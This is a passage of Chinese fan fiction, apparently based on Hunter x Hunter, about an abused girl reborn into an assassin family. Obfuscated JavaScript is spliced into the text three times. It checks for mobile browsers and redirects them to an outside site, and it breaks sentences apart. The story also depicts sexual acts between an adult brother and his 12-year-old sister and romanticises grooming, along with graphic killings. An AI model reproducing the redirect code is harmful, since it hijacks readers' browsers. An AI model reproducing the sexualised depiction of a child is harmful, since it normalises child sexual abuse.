顾深深来看她，坐在床边哭。她哭得很厉害，抽噎着发着抖。 “你要，你要说啊……疼是要说出来的，饿也是要说出来的……林洛，我们会有以后的，不要再这样对待自己了……” 顾深深会把自己的生活费分一半给林洛。 顾深深会把自己的饭也分一半给她，会给她自己穿得不多的衣服，给她带鞋子，给她零食，给她关心和爱。她会抱着林洛，一次又一次地说，我们会有以后，我们，会有以后。 林洛开始尝试，她开始说自己疼，顾深深会反应很大地过来问她哪里痛，哪里痛呀，林洛切到手的话，她会给她包创口贴，会说痛一下就恢复啦！逐渐地，林洛开始会哭了，会哭着说好痛，哭着说好饿，眼泪说掉就掉，像是要弥补从前不会流泪的缺憾。 焦虑症，狂躁症，抑郁症。 而后是更严重的精神症状，轻微精神分裂。 林洛没钱吃药，她紧紧依附着顾深深，就像是落水者的救命稻草。而她们顺利升上高中之后，顾深深的家庭矛盾也在爆发，她躲在林洛的破旧宿舍里，哭着冲电话那头的女人质问，为什么，为什么要领养她，领养了又不爱，到底是用来干什么？她的眼泪很难得，抱着林洛哭时，林洛也在哭。 雪上加霜的是，顾深深因为拒绝了某个男生，开始被造谣。 带颜色的谣言总是传播得特别快，可更快的是林洛，她一天之内殴打了八个男生，拳拳下死手，终于被学校劝退。林洛便离开学校，开始打工赚钱，吃苦耐劳什么都做，不怕死又无所畏惧，三年后租到一间公寓，邀请顾深深一起住。 他们经常一起吃饭一起出门玩，顾深深顺利离开家庭。 林洛又被从农村追来的父母和哥哥纠缠，啊，那居然是她的哥哥呢。于是病情越来越严重，不得不吃药，干预，又因为吃药而无法正常工作，所以丢掉了咬。 “我真服了，把他们都杀了吧！” 顾深深这么说时，林洛笑着劝她，好啦好啦，杀人犯法嘛。你不是不喜欢这样吗？ 林洛没杀人，因为顾深深不喜欢，所以就算是那个巡山人，也没有死。她曾提示过，自己的计划是用老鼠药，杀了全村的人，每个人都对她恶语相加，每个男人都嘴脸丑恶。顾深深不喜欢，所以林洛不做。 她在每个夜晚里痛苦，每个白天微笑。 精神状态每况愈下，甚至以泪洗面，但是只要到了白天，她就会高高兴兴地去上班。她遇到自己家人，会哭，会叫，歇斯底里地尖叫，然后再擦干眼泪若无其事地上班，她会在后巷一拳一拳打在自己亲哥的脸上，再道歉，再送他去医院，但是拒不付款。 在顾深深不知道的时候，她甚至差点拿刀砍了一家三口。 她只在顾深深面前脆弱，无辜，爱哭。 她开始重复动作，忘记自己在做什么，忘记自己在哪里，忘记自己为什么会在这里，做这个干什么。她在深夜的每一场痛哭里，都在祈祷，要是能重新活一次，希望人生不要这么痛苦，不要被小时候的漩涡吸进去。 她也有冲她告白的对象，谈过一次，很快分手，因为轻飘飘的恋爱，没有实感。 她发过去的短信，没有被认真的看。 她说的话，对方也并不在意。 林洛很快把他抛在脑后，只发了条意味不明的朋友圈。「洛果然就是落下的洛啊。」 一秒钟后顾深深评论了。 「我接住你咯！」 林洛笑的发抖，笑着笑着又哭出来，面无表情地擦掉眼泪，感叹自己真是爱哭啊。伊尔迷看着她，每一场哭泣，每一次面无表情。反反复复，又难以克制地痛苦着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140648|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她就这么迎来自己的二十六岁生日。 她和顾深深一起许愿，愿望很简单，下辈子，希望做个男的？不，这个就算了，还是要有个爱着自己的家庭，希望有个能够死死缠着自己的爱人，想要和顾深深在一起，永远也不分开。 真是贪心呢。 伊尔迷盯着林洛看，她乌黑的长发，黑色的双眸，清秀的面容，没有泪痣的面庞，像是哭太多了，才会在下辈子生出一颗泪痣来。 伊尔迷睁开眼睛，天亮了。 他梦见了完整的，伊洛林的一生。这可不像是自然行为……果然，早餐桌上，席巴明确告诉伊尔迷，昨晚上伊洛林许了第二个愿望，就是通过梦境方式让伊尔迷知道自己的一切过往，亚路嘉说了好。 “啊，我确实梦到了。” 伊尔迷心情不是很好，可以说是糟糕透顶。他的状态奇差无比，甚至到了忍不住放杀气的地步，梦里尚且能够压抑住，梦境结束的时候整个人都有些焦虑起来。 平心而论，伊尔迷从来不是个温柔的人，哪怕他自己认为自己是。他认为受磨难是有必要的，训练是必然要存在的，揍敌客家没有废物，否则太容易死在外面了，可是伊洛林承受的都是毫无意义的磨难。 是的，毫无意义，简直是匪夷所思。 但是他很满意伊洛林游荡山林十天没死的存活力，哪怕骨瘦如柴，就剩下皮包骨，和丧尸没什么区别，他也很满意伊洛林抵抗疼痛的能力，但如同格蕾西所说，她可以疼。这就是她娇气的理由吗？那可以原谅。 “亚路嘉能恢复她女孩子的身份吗？” 老实说昨晚上还看了很多次她换衣服和洗澡，伊尔迷觉得自己不想要弟弟，妹妹更好。 席巴欲言又止：“嗯……那正是她许的第三个愿望。” 伊尔迷长舒一口气。 他太心烦意乱了，所以早饭也吃不下去，正在这时，伊洛林踏进了房间，她眉眼弯弯，说了声早上好，似乎什么也没变。伊尔迷突兀想起那个晚上，她问自己的话，她犹豫不定的是，伊尔迷还会不会爱自己。 所以这就是她让他看的原因吗？ 伊尔迷发现伊洛林不看他，她只是吃了顿饭，又回去洗澡，认真认真地对待自己原本的身体。 她和亚路嘉做了个约定。 她只要有空就会进来陪着他，而奇犽，他想起来了的话，就会带走他。 “我没有办法说服爸爸放你出去，但是哥哥一定做得到。” 亚路嘉并没有折腾要出去。 他只希望下一次，伊洛林还能来看他。 淋浴头洒下的水冲淋着全身，伊洛林恍惚间想到了曾经，她克制不住地抖了抖，身后，门被推开了。亲密无间的拥抱，好像伊尔迷从来不知道什么过，伊洛林慢慢放松下来，她想说什么，却只是被掰过下颚，吻了上去。 “你许下的愿望，都会成真，我保证。” 84.伊洛林番外[番外] 黑夜，雨声淅淅沥沥。 酒店的走廊上静悄悄，只有电梯正在上行。 叮，到达指定楼层，电梯停下时从里头走出一男一女。昏暗走廊上，肥胖男人和妩媚的漂亮女人调笑着，丝毫没有注意到死神正在逼近。他在女人身上作乱，百忙之中伸出一只手去开门，女人娇滴滴地等待着他将卡放进卡槽，方便灯自然亮起，然而男人的动作却在一瞬间停止了。 有轻微的碾碎肉块的声音响起。 男人缓缓地向房内慢慢歪去，而后，他重重摔在了地上，暂缓了好几秒之后，才有大量的鲜血扩散而出，女人的尖叫打破了黑夜的宁静，街道上，鸣笛警车匆匆而过。 屋檐下，躲雨的女孩掀开兜帽，甩了甩长长的黑发。 她有一双漂亮的下垂眼，显得无害而又温和，任谁也想不到这样一个女孩是杀手。她静静等待了片刻，若无其事搭上了停下的小巴，坐在靠窗的位置上，离开了案发现场。 手机轻轻一震，她接通了电话。 “哥哥。” “伊洛林，下一个目标的信息，发给你了，做完之后就能够回家了。” “好的，哥哥。” “回家后，爸爸有事找你哦。” “诶？好的。” 又说了两句什么，伊洛林才挂断电话，打开了目标信息。她查询了一下附近的交通路线，顺手就定了一架飞艇的vip单人间，丝毫没有注意到，这个价格足够普通的五口之家生活三年。她的存款多的让人有些难以置信，可毕竟是揍敌客家的小姐，富有似乎也是意料之中的事情。 两天后，伊洛林回到了家。 她先同皆卜力打了声招呼，紧接着单手推开三扇门，而后去摸了摸在附近听见主人回来而赶过来的三毛，大狗乖乖趴在地上，任由主人去摸它的面颊毛毛。顺着这条路进去，守在关口的卡娜莉亚恭敬低垂头颅微微鞠躬：“伊洛林小姐，欢迎回家。” 伊洛林轻轻点头，啊了一声，作为回应。 再往里走，就遇见各种各样的管家，他们忙碌着自己的事情，巡逻或是其他，见到伊洛林时总是会停下来，俯首问候，欢迎回家，伊洛林小姐。 她走进宅院大门，任由门关上后就变得没有一丝光亮，出于考虑，她还是问了路过的女仆一句。 “三哥在哪里？” “三少爷在后院里，小姐。” “嗯。” 伊洛林先去了席巴的书房，说是书房其实没有几本书，会客之类的都在这里罢了，她进门时席巴正如同老友闲话家常一般打着电话，对伊洛林做了个坐下稍等的手势，于是伊洛林乖乖蹲在了一旁，开始摸父亲的魔兽。她摸狗摸猫都很有一手，魔兽露出的舒服的uwu表情来。席巴望着这一幕，轻轻勾了勾唇，最后说了句下次再聊，便挂断了电话。 “爸爸。” “嗯，过来这里。” 伊洛林坐在席巴身侧，男人的手编辫子已经很灵巧了，他只编了一条垂在伊洛林的肩头，而后才摸了摸她的发顶：“任务做得很好，收尾也很干净，伊洛林进步了。” “没有那回事。”伊洛林敬仰着自己的父亲，眼神里都是崇拜：“我想和大哥一样，和爸爸一样，成为出色的杀手。” 头顶宽厚的手加了点力度。 “让我们来说点正事。”席巴把面前的报告扯了回来：“上个月，家里承受了一千名猎人的攻击，所以稍微追查了一下主谋，发现是克雷诺德家族的人指使，顺藤摸瓜，当初聘请我们家杀死你最初父母的人，应该也是他们。” 伊洛林的神色不曾改变。 她歪了歪脑袋，仔细思考。从小她就知道自己不是亲生的，毕竟五岁开始才变成了真正的揍敌客家五小姐，还是因为亚路嘉对她的强求每次都很温柔，经过测试之后获取了更多的拿尼加使用规则。于是在伊尔迷的推荐下，她从伊尔迷的女仆、伊尔迷的玩具、三少爷四少爷的玩伴等身份，荣升为揍敌客家五小姐。 天知道，她差点因此而吓得背过气去。 这是给她的奖励。伊尔迷愉悦地说道，但是其实除了伊洛林谁都清楚，他只不过是在满足自己想要个妹妹的心情，反正奇犽和亚路嘉也喜欢她，有何不可呢？ 伊洛林仔细想了想，才明白过来这件事的逻辑，于是她有些不高兴地皱了眉：“诶……袭击揍敌客的理由是什么？未免也太放肆了。要报复回去吗？”席巴很清楚，以伊洛林现在的实力，还办不到这种事，他只不过是想看看伊洛林的反应。 她一举一动都有些像伊尔迷了。 微微睁大的眼睛，融入黑暗里也不会被发现的存在感低，只有眼下一颗泪痣显得太过于精致漂亮。 “伊洛林觉得呢，要报复回去吗？” “嗯。他妄图对揍敌客家下手，我们只是正常反击。” “如果他是为了你手上父母的遗物呢？” “我的东西就是揍敌客的东西。” 伊洛林毫不犹豫，她有点委屈了，伸手勾住席巴的脖颈乖乖埋进爸爸的怀里，席巴伸手擦掉她的眼泪，语气温和：“你妈妈也会为你感到骄傲的。” 他们用传统揍敌客家的培养方式，养出了这样一个把揍敌客放在心上的女孩。 哪怕没有血缘关系，席巴也依旧觉得这是自己的贴心小棉袄。 “去陪你哥哥玩吧，大人的事，大人来解决。” 伊洛林顺从地点点头，离开了房间。她前脚刚走，后脚伊尔迷就进来了，只是站着，没有坐下的打算。 “那个家族，很嚣张呢，不过……猎人协会那边发来了邮件哦。”伊尔迷的语气漫不经心：“说是什么请求归还伊洛林，真可怕，明明是我们家的孩子，还有强抢的道理吗。说起来也不过就是，想要利用伊洛林把一些乱七八糟的东西处理掉吧？” 席巴撑着面颊冷笑了一声。 “我会回应这件事。想必伊洛林也是懒得搭理他们的，找找看有没有人愿意出钱，别做免费工。实在没有，再吃这个亏吧，” “好的，爸爸。” 伊尔迷弯了弯唇角。 伊洛林才不会在意外面的人是生是死呢，自己练出来的小孩，自己清楚。他走到后院，看着伊洛林正与奇犽缠斗，两个人有来有回，打得难分高低。虽然伊洛林身材娇小，速度很快，可惜力量方面还是奇犽更胜一筹，而且伊洛林虽然会念力，却并不能够在奇犽面前使用。 冥想了五个小时才激发了念力，资质还是差了点。 最终是奇犽把伊洛林摁在了地上，伊洛林举手投降：“哥哥赢了，我果然还是打不过哥哥。” “哼哼，那是当然的。” 奇犽忘记了小时候的事情，毕竟亚路嘉被关起来之后他吵闹不休，于是伊尔迷没有办法，被迫阻拦了他的记忆，所以奇犽一直以为伊洛林是亲生的。 “毕竟我是哥哥嘛。” 伊洛林也忍不住笑起来，但她眼尖看到了伊尔迷，于是轻轻在奇犽手掌心里画了只猫眼睛，奇犽一愣，立刻就严肃地表示自己现在需要立刻去训练，随即一溜烟地跑了。伊洛林从地上爬起来，回头就差点撞到伊尔迷怀里去，她乖乖地叫了一声大哥，任由伊尔迷把自己抱起来在臂弯里托住。 “大哥，我已经不是小孩了！” “嗯？但是昨天晚上说自己还小的是谁。” 伊洛林耳根子烫起来，支支吾吾地不肯开口，明明是大哥太过分了，她才十二岁，受不了那些的。索性她直接将脸埋在了兄长的怀里，不继续这个让她羞耻的话题。 “要按照哥哥的新娘方向，那样发展哦。” “……嗯。” 因为她是被哥哥救回来的，因为她是哥哥的，所以要嫁给哥哥也是理所当然。从小受到这种教育的伊洛林没有觉得哪里不对，她只是觉得比较害羞，长年累月积攒下的仰慕与依赖成为黏住他们之间的胶水，甚至伊洛林都没有挣扎什么自己愿不愿意，她早已习惯按照兄长的命令行事。 这孩子与众不同。 她从小就听话，乖巧，认真完成布置的每一项任务。 她略有笨拙，不擅思考，于是需要人来引导，伊尔迷顺理成章成为她的引导者。 她能够理解训练是家庭特色，能够明白自己应该选择谁，她像是没有怨恨能力的兔子，一步一步走进了揍敌客家的宅院，被吃得连皮毛都不剩下。 像她八岁时第一次杀人，没有任何犹豫，捧着跳动的心脏，只在乎自己是不是切得足够完美。她渴望得家人的夸奖，于是多对她摸摸头，夸一夸，就能够得到她的笑容。 她喜欢甜甜的奶油蛋糕。 她喜欢在面里加醋。 她不吃生姜，也讨厌吃不熟的葱。 喜好和讨厌都那么明显。 伊洛林遇到喜欢的东西就会买下来，会捧着最新的珠宝杂志，眼里亮晶晶地想买什么比较好，这个时候伊尔迷通常会为她买下一整本，好让他的妹妹高兴到亲亲他。 一个月平均五十个暗杀任务，她完美执行。 不会杀死任务以外的人，却也不在乎他们到底死不死的，猎人协会那边企图让她看见□□幼年女孩被迫进行卖的行为，可伊洛林只是觉得他们恶心又无聊，只是出手救下了几个孩子，并没有实质性的深入了解，如果要深入的话……“请拨打揍敌客家族电话，下达暗杀委托。” 完美地处理。 尼特罗打电话过来就是阴阳怪气他们养小孩养得真好，基因那么好的小孩，直接养成了揍敌客家的样子。 “我很感谢他们的基因。” 席巴真诚道：“我们家正缺这么一个，会哭会笑会闹会撒娇的，又不害怕家庭的小孩。” 真是千里送小孩，礼轻情意重啊。 “你那叫偷，偷小孩懂吗？” “不懂，顺手带走的。要是没有我们家伊尔迷，她估计会死。” “我们猎人协会也就只差了十分钟。” “十分钟就是一辈子。” 感谢猎人协会与克雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148630|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺德鹬蚌相争，让揍敌客得利， 十二岁时，奇犽离家出走。 十二岁那年，奇犽认识了小杰，伊洛林认识了格蕾西。 按伊尔迷的描述，格蕾西根本就是流星街扛把子，其思想是这东西我想要我就抢，抢不过我就偷，偷不了我就毁掉。和西索打架每次都是下死手，每次都是半死不活地被丢去治疗。狂得要死，是个不要命的狠角色，任由她发展可能会比西索更难缠。 这样一个人却和伊洛林成了朋友，伊尔迷百思不得其解。 “我大哥对我很好。” “没看出来。” “每次训练过后都会给我吃巧克力。” “什么打个巴掌再给颗糖？” “大哥说这个世界上只有他是会永远爱着我的。” “勾死pua男滚出去。” 暗地里偷听的西索笑得肚子疼，伊尔迷鼓脸。 “我哥是Bt。” “赞同。” “他洗完澡不穿衣服在我面前走路甩来甩去！” “恶心。” “他带女人回来不避着我！” “垃圾！” 这次轮到伊尔迷迷之微笑，西索鼓脸。 克雷诺德家族首领被暗杀，遗产项链正挂在他自己的脖子上，而钥匙不知去向。 伊尔迷捻起钥匙，揉捏成一团铁球，随意扯成铁片，又拉成丝，变成弹簧的形状后丢进了废品回收箱。如果伊洛林在乎那些女孩，她一定会兜一大圈，用无所谓的事情打乱他人的视线，浑水摸鱼。揍敌客不需要那些意外之财，所以也不需要这把钥匙，他用克雷诺德的首领衣服擦鞋底的血渍，低垂着眼眸看他死不瞑目的面孔。 啊，就是这么简单呢，只要伊洛林不在乎，就什么都不需要在意了。 回家时，伊洛林正在泡温泉。 她哼着歌，长发浸泡在水里，在水面上浮开，哼唱的是时下最流行的乐曲。她发现伊尔迷回来时会眉眼弯弯，勾起愉悦的弧度，对他说欢迎回家。她稚嫩的面颊有淡淡的红晕，伊尔迷只是勾勾手指，他的妹妹就会向他迎来，毫无保留地爱着他。 如果妹妹嘴里说的不是要和格蕾西出去玩就好了。 格蕾西，不知为何，跟伊尔迷有种世仇的感觉呢。 好像转了无数个世界，他们两个人依旧能够相看两相厌，互为最讨厌的家伙。 伊尔迷把玩着妹妹的手指。 柔软的，随意可以折叠的手指，白皙柔软又漂亮纤细，他放在嘴里咬时更想要把她吞吃入腹。伊洛林却毫无所觉，只是用着快乐的语气，描述着她和格蕾西的计划旅行，她翻过身趴在伊尔迷怀里，仿佛从来没觉得伊尔迷会拒绝她似的。 伊尔迷此人，自我，自私，自恋。 他认为妹妹喜欢他是天经地义，妹妹在他身边也是理所当然，妹妹嫁给他当然也是她这辈子最幸福的决定，她如果没有自己是活不下去的，如果缺少了自己那妹妹的人生将变得一塌糊涂，就像是没有他，妹妹就会变成一个可怜的孤儿，被人利用被人指使变成一个没有用处的小废物。 为什么在他身边还想着别人呢？小嘴叭叭的，不想听，想亲。 可是妹妹用一根手指就抵住了他的唇。 她红着脸，指尖轻轻一碰，就有火在燃烧：“如果哥哥答应的话……今晚就随便哥哥折腾，如果哥哥不答应，那我就不理你了。” 恃宠生娇的小孩，想到的最大的奖励是自己，最大的惩罚也是自己。伊尔迷几乎笑出了声，他端详着妹妹这张漂亮的脸蛋，手指摩挲皮肉顺着纹理轻轻描摹，如果撒娇撒到这份上，自己还不同意，岂不就是一个坏哥哥了？虽然做坏哥哥也不是不可以，但，他现在还是想做个好哥哥的。 “打算什么时候回来？” “嗯——不会很短，就，一年回来一次？” “……”不行。 伊尔迷用眼神拒绝。 “哎呀哥哥，你听我说嘛。”伊洛林熟练搂着伊尔迷的脖颈撒娇，都叫上哥哥了，唇瓣亲昵磨蹭他的唇角，眼睛越发得像只小兔子：“我呢，肯定偶尔会在某个城镇停留的，到时候就发定位给你，然后你来找我嘛——然后，每次回来，肯定也有哥哥你的好事啦……还有还有，我的路线会共享给你哦，到时候附近有的单子，我全包了！” “真的想去？” “嗯嗯！” “好吧。”伊尔迷说：“但是哥哥的利息是很高的。” 伊洛林不说话了，只是凑过去亲吻了伊尔迷。真乖。伊尔迷想，她爱自己爱得无法自拔，也可以用这种方式去让她看清楚，只有在自己身边才是最好的。 第二天，在黄泉之门外等候的格蕾西，和伊洛林碰面了。 伊洛林一上飞艇，就睡得昏死过去，按她的话说，为了这一次的旅行，她牺牲太大了，哥哥简直就是没让她睡。格蕾西暗骂了一声，伊洛林没发现，她脖子上也充斥着咬痕。 看来，谁也没被轻易放过呢。 85.78 伊尔迷会有心疼的情绪吗？ 不，没有。 他只是觉得这种只是发泄行为的殴打根本不能称之为训练，毫无意义的浪费了体能，令身体遭受了不能抵抗的伤害，于是留下了胃出血的后遗症，伊洛林的清淡饮食基本来源于这个原因，甚至还有那一纸丧失生育能力的诊断书。 如果换作揍敌客家，那么一切必然是有效果并且循序渐进的，慢慢地让身体接受，并且辅佐治愈的药物，疗伤，增强抵抗力和恢复能力。 女性最珍贵的孕育生命的功能也必然不能受到半点损害。 否则要怎么为揍敌客，为自己孕育孩子？ 伊洛林的身体本来强度就不够，她不是土生土长的揍敌客人，她的恢复能力赶不上奇犽，甚至比不上柯特或者糜稽，所以这一池的药材温泉才会精心调配。他养育出伊洛林一身白皙的肌肤可不只是为了享用，是因为她的身上不应该留下疤痕，疤痕可以是失败的证明可以是成功的见证，但不应该是训练留下来的，那点伤口都恢复不了，又怎么能让人安心？ 伊尔迷最不理解的是格蕾西的保护欲。 她娇养伊洛林，哄得她愿意哭，一点破皮也会流着眼泪说疼，虽然能够明白伊洛林的眼泪是为了从前的疼痛而流，是为了撒娇而流，但格蕾西还是太纵容伊洛林了。她将伊洛林保护在羽翼之下，匪夷所思的没有考虑到自己护不住伊洛林的那一天，听听她说的是什么话，伊尔迷能够非常轻易地揣测到——伊洛林不需要变强，不需要被折磨，因为有我在，我会保护她一辈子！ 多么可怕的天真啊，天真到残酷，活生生把伊洛林的命拴在了自己的裤腰带上。 格蕾西确实挺适合揍敌客家的，单从这种扭曲的控制欲而言。 她似乎完全没注意到呢！ 伊尔迷觉得格蕾西应该要明白的，为什么伊洛林会喜欢自己，为什么伊洛林沉溺于他的怀里，是因为格蕾西和自己本质上是同一种人，只不过她陪着伊洛林更久一些，那种温柔的照顾自己也完全没问题的哦？时间真是重要呢，伊尔迷很明白，因为先来后到，因为伊洛林眼里只有她最困难的时候陪她的格蕾西，在这里的生活，哪怕是被鞭打到晕厥过去，也没有曾经那么痛苦。 因为她有格蕾西做支柱。 她宁愿忘记自己的来时路，也不愿意忘记格蕾西。 真是让人嫉妒啊。 不过伊尔迷很明白，伊洛林记起来之后她会更加离不开自己，否则为什么她要让自己参观她的一生呢？多么新鲜，他参与了她的苦痛，她的挣扎，她拼命求生，她的狼狈，她的坠落，她的歇斯底里与万劫不复，她在水里难以呼吸。就像那个时候，她谁也没看，只是用一双哭泣的眼睛望着格蕾西一样，她也用那种眼神看着自己了。 太完美了，伊洛林……渴求着脖颈上收拢的手吧。 哥哥会给予你氧气与养分，依附在哥哥身上，就这样抱紧浮木吧。 这是哥哥的爱啊。 不过伊尔迷还是发觉了那一点情绪，像西瓜种子无意间落在地上，被踩踏进泥土地里，不知不觉生根发芽，他的烦闷，他的焦虑，都是这根无意识间长出的西瓜藤。伊洛林也改变了他吗？酸涩如同蛀牙，蛀牙的疼痛如蛆附骨，但还是那句话，揍敌客家没有蛀牙这种小疾病，烈性毒药足够毒死一切寄生虫。 他在伊洛林的脖颈间留下痕迹，红色的，一片又一片，如同雪地梅花一般。 伊洛林吞下信纸的时候在想什么呢。 他感受到信纸，还是感受到哥哥？感受到那些浓烈的情感，还是感受到执拗的纠缠？信纸会在胃里融化，变成她的一部分，吞下去，吃掉了，吃这种情绪可是最强烈的情感啊。就像他，张嘴咬住，咬下—— 伊洛林在啜泣。她哭着说哥哥，她示弱时也可怕。 那有一条万劫不复的路，等着他呢！ 是啊，有时候柔弱也是一种有用的手段呢，伊洛林，真的是好手段，这样地引诱着自己的哥哥，也是坏孩子啊。坏孩子，需要受到惩罚……本来是这样的，可是因为那些记忆，因为伊洛林刚刚想起来那些，伊尔迷甚至有些不舍得惩罚脆弱的玻璃球，怕玻璃碎了，裂了，无法修复。 啊，他其实可以学格蕾西，对不对？ 格蕾西真是一位先驱者，她助力于让伊洛林变成这样，所以她的经验真是难能可贵的。 或许格蕾西会觉得，她自控力很强大，但是实在是没办法呢，因为她对伊洛林来说太重要了，她在做的事情只需要做到百分之六十……不，甚至百分之五十、百分之四十都行，伊洛林会主动把缺少的补上，让他们之间永远是百分百。 她们的承诺，多好听，永远，是永远。 不信永远的格蕾西都相信的永远，伊洛林，好手段！ 手指探入更深的、更深的土地，土地孕育出的藤蔓是双腿，双腿纠缠在强壮的手臂上，伴随着生长的频率，她悸动着，颤抖着，不受控制的痉挛着。 “我会永远在你身边的。” 承诺不够深重，就显得没有意义；感情不够沉重，就显得轻飘飘；抓得不够紧，风筝会飞走。 需要烈酒，需要剧毒，需要缠绕颈部的绳结。 不，伊洛林，你从未从那片森林里逃出来，所以你才会恐惧，你才会不安，你才会在没有记忆的情况下仍旧深陷泥潭，恨不得转身逃离。你的灵魂还在森林里，受着寒冷，受着饥饿，受着夜间的恐惧与漫无目的的虚无，死亡如影随形，已经攀上你的脖颈，所以你必须—— 对，乖孩子，抱紧哥哥。 哥哥会给你温暖，会带你出去，会让你远离。 森林没什么可怕的，对不对？说来轻描淡写的人生，你走了二十六年，不是吗。 爱啊，就应该让人痛不欲生。 恨啊，就该让人无法割舍。 于是爱恨纠葛，分不清彼此，你和我。 伊洛林哭得受不了，分不清楚究竟是因为哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15153688|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种原因而脱水的，不论怎么样，冲淋的莲蓬头一直在撒着热水，于是什么水渍都会消失不见，和洗澡水不一样，那黏稠而透明的不溶于水的，却被水带走的，更像是她身体里组成的一切。 伊尔迷叹息，他惋惜于现在无法让伊洛林和他融为一体，稚嫩的身体，发育中的子宫，都无法承受他。 不过没关系。 吃掉，是感情浓烈的动作，吃掉信纸，和，吃掉他身体里产出的东西，有什么不同吗？ 伊洛林啊，伊洛林。 坏孩子，乖孩子。 哥哥从未自诩是好人哦，只不过，哥哥对你真的很好呢，要懂得知恩图报啦。 毕竟伊洛林需要的心疼和关爱，是格蕾西可以给的，那么别的东西自然就让哥哥来给了。没关系，他有足够的耐心，完美地编织一张网，让她心甘情愿地蜷缩在网中。 伊洛林躺在他的臂弯里，沉沉睡去。 她一片狼藉的身躯安静地伴随着呼吸轻微起伏，果然，还是及腰长发更好吧，那样就像藤蔓缠绕着身躯，他更喜欢这样的伊洛林。 不过……针都拔了啊，看上去要独立了。 想要互相尊重，独立地恋爱吗？伊洛林，真是天真。不过，哥哥可以给你啊。你想要的。 伊尔迷吻上伊洛林的额头。 堪称温柔。 一夜无梦。 伊洛林醒时全身都如同碾过一般，难以想象，这竟然只是做一半的感受，要全套来齐，她休想轻易醒来。她爬起来，对着等身镜看了一眼自己，不忍直视，她甚至不敢和以前一样穿短袖就出去跑步了，先把自己泡温泉里，借助药材把自己变得好一些。 她会在家里停留十天左右。 每天她都会去陪着亚路嘉说说话，或者玩过家家，不必亚路嘉来强求，她会抱抱她的哥哥，亲亲他，再给他讲故事，唱歌。亚路嘉的心情比从前更好，拿尼加偶尔也会出来几秒钟。 他偶尔会问，伊洛林，伊洛林，你有愿望吗？ 伊洛林会笑着摇头，很淡地笑：“不，有什么东西我想要的话，我会自己去做到的。” “伊洛林，可以依靠哥哥哦！” 亚路嘉抬手摸摸伊洛林的发顶，伊洛林顺从地垂下脑袋，任由她的哥哥安抚动物一样安抚她。 “哥哥，我很快就要去做一些比较危险的事情了。”伊洛林眨眨眼睛：“或许有一天，可能需要哥哥你帮助我呢？没有你的话，我要怎么办呢，我要怎么度过没有格蕾西的日子呢？我可能会忘记很多事。哥哥的存在，让我可以开心地接纳了很多事……我无法带你走，但是，再等等吧，我们都相信的，对吗？” 相信着奇犽，相信他会记起来，相信他会来带你走。 “伊洛林……来，和我说一句话吧。” “就这样，和我说——” “我希望，我，幸运。” “我希望，我，幸运。” 要幸运哦，伊洛林。 86.零的番外[番外] 零洛，女，二十七岁。 业余模特，业余填词作曲人，业余歌手。 什么都是业余，一事无成的代表性人物，但一直生活得随心所欲。在孤儿院长大，早已习惯一个人的自我，以自我为中心而漫无目的地活着。 而现在，她站在满是垃圾的废墟里。认真思考着一个问题。 把半瓶变质牛奶丢进垃圾桶。是什么值得把自己丢进这种鸟不拉屎的地方的，恶劣行为吗？ 她看了看天上的太阳。 又看了看自己。 黑色吊带背心，布料少得可怜，牛仔短裤，布料依旧少得可怜，登山靴，厚实而又狂野，她还是自己。然而失去的东西是手机和证件，还有一把零钱，这些东西丢失之后足够麻烦，除非她再也不需要这些东西。 当然，她的吉他还在家里，真让人不爽。 这究竟是哪儿？ 举目远眺，视线所及之处，全部都是垃圾。什么啊，和社会分类一样，自己是垃圾中的垃圾。 零决心走一走，看看能不能遇到什么人。 她挑了个方向，直觉地往那边走去，越走确实越干净。而后，她遇见了来到这里以来，遇见的第一个人。 粉色的头发扎成马尾，几乎是在自己出现的一瞬间，她就注意到了自己，女孩长得尤其漂亮，冷若冰霜的气质加持下，几乎像个女明星。只是这位女明星看到自己的一瞬间，瞳孔骤然收缩，她似乎差点做了什么却又没有，以一种疑问又惊讶的语气开口了：“……零？” 零注视着她。 “你认识我？” “……你不记得了？” “我不记得自己见过你。”零摇头：“劳烦问一下，这里是哪儿，什么国家，用的什么货币。” “……这里是流星街，不属于任何一个国家，不流通货币。” 女孩上上下下打量她，气氛逐渐变得古怪。 “那你知道怎么出去吗？” “知道。” “麻烦能告诉我吗？感激不尽。” 虽然零觉得自己很诚恳了，实际上她依旧面无表情，或者是觉得自己实在是太不礼貌，她还企图微笑一下。但女孩在她笑之前就阻止了她：“不要笑。” 好吧，也行。零不爱笑，也没必要笑。 